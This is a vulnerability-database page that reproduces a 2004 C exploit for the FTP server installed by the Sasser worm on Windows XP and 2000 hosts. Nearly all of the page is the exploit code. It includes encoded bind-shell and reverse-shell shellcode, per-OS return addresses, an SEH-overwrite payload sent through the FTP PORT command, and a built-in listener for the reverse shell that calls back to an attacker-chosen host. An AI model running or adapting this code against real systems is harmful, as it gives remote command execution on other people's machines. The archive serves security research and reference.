Lucene search
K

Sasser Worm ftpd - Remote Buffer Overflow (port 5554)

🗓️ 16 May 2004 00:00:00Reported by mandragoreType 
exploitpack
 exploitpack
👁 12 Views

Sasser Worm exploit for ftpd server vulnerability on port 5554 with SEH pointer overwriting.

Code
/*
  _________ / ___// ____/ ____/
 / ___/ __ \\__ \/ __/ / /
/ /  / /_/ /__/ / /___/ /___
/_/   \____/____/_____/\____/

- ROMANIAN SECURITY RESEARCH 2004 -


sasser v[a-e] exploit (of its ftpd server)

exploit version 1.4, public

author:  mandragore
date:  Mon May 10 16:13:31     2004
vuln type: SEH ptr overwriting
greets:  rosecurity team
discovery: edcba
note:  sasser.e has its ftpd on port 1023
update:  offsets

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.4 for " RED "sasser.x" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 5554

struct { char *os; long goreg; long gpa; long lla;}
targets[] = { 
//  { "os", pop pop ret, GetProcAd ptr, LoadLib ptr },
 { "wXP SP1 many", 0x77BEEB23, 0x77be10CC, 0x77be10D0 }, // msvcrt.dll's
 { "wXP SP1 most others", 0x77C1C0BD, 0x77C110CC, 0x77c110D0 },
 { "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;

unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,
0xC8,0x21,0x0E
};

unsigned char rsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}

void usage(char *argv0) {
int i;

printf("%s -d <host/ip> [opts]\n\n",argv0);

printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 5300]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");

printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
 printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

exit(1);
}

void shell(int s) {
char buff[4096];
int retval;
fd_set fds;

printf("[+] connected!\n\n");

for (;;) {
 FD_ZERO(&fds);
 FD_SET(0,&fds);
 FD_SET(s,&fds);

       if (select(s+1, &fds, NULL, NULL, NULL) < 0)
  fatal("[-] shell.select()");

 if (FD_ISSET(0,&fds)) {
  if ((retval = read(1,buff,4096)) < 1)
   fatal("[-] shell.recv(stdin)");
  send(s,buff,retval,0);
 }

 if (FD_ISSET(s,&fds)) {
  if ((retval = recv(s,buff,4096,0)) < 1)
   fatal("[-] shell.recv(socket)");
  write(1,buff,retval);
 }
}
}

void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;

sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);

s=socket(2,1,6);

if ( bind(s,(struct sockaddr *)&sin, 16) ) {
 kill(getppid(),SIGKILL);
 fatal("[-] shell.bind");
}

listen(s,1);

s=accept(s,(struct sockaddr *)&sin,&slen);

shell(s);
printf("crap\n");
}

int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};

printf(BANNER "\n");

if (argc==1)
 usage(argv[0]);

for (i=1;i<argc;i+=2) {
 if (strlen(argv[i]) != 2)
  usage(argv[0]);

 switch(argv[i][1]) {
  case 't':
   type=atoi(argv[i+1]);
   break;
  case 'd':
   host=argv[i+1];
   break;
  case 'p':
   port=atoi(argv[i+1])?:default_port;
   break;
  case 's':
   if (strstr(argv[i+1],"rev"))
    bindopt=0;
   break;
  case 'H':
   Host=argv[i+1];
   break;
  case 'P':
   Port=atoi(argv[i+1])?:5300;
   Port=Port ^ 0xdede;
   Port=(Port & 0xff) << 8 | Port >>8;
   memcpy(bsh+0x57,&Port,2);
   memcpy(rsh+0x5a,&Port,2);
   Port=Port ^ 0xdede;
   Port=(Port & 0xff) << 8 | Port >>8;
   break;
  case 'L':
   pid++; i--;
   break;
  case 'v':
   verbose++; i--;
   break;
  case 'h':
   usage(argv[0]);
  default:
   usage(argv[0]);
  }
}

if (verbose)
 printf("verbose!\n");

if ((he=gethostbyname(host))==NULL)
 fatal("[-] gethostbyname()");

sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);

printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
 printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
 if ((he=gethostbyname(Host))==NULL)
  fatal("[-] gethostbyname() for -H");
 rip=*((long *)he->h_addr_list[0]);
 rip=rip^0xdededede;
 memcpy(rsh+0x53,&rip,4);
 if (pid) {
  printf("[.] setting up a listener on port %d.\n",Port);
  pid=fork();
  switch (pid) { case 0: callback(Port); }
 } else
  printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr 
*)he->h_addr_list[0])),Port);
}

printf("[.] using type '%s'\n",targets[type].os);

// --------------------  core

s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0) {
 if (pid) kill(pid,SIGKILL);
 fatal("[-] connect()");
}

printf("[+] connected, sending exploit\n");

buff=(char *)malloc(4096);
bzero(buff,4096);

sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);

memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);

setoff(targets[type].gpa, targets[type].lla);

if (bindopt)
 memcpy(buff+300,&bsh,strlen(bsh));
else
 memcpy(buff+300,&rsh,strlen(rsh));

send(s,buff,strlen(buff),0);

free(buff);

close(s);

// --------------------  end of core

if (bindopt) {
 sin.sin_port = htons(Port);
 sleep(1);
 s=socket(2,1,6);
 if (connect(s,(struct sockaddr *)&sin,16)!=0)
  fatal("[-] exploit most likely failed");
 shell(s);
}

if (pid) wait(&pid);

exit(0);
}


// milw0rm.com [2004-05-16]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation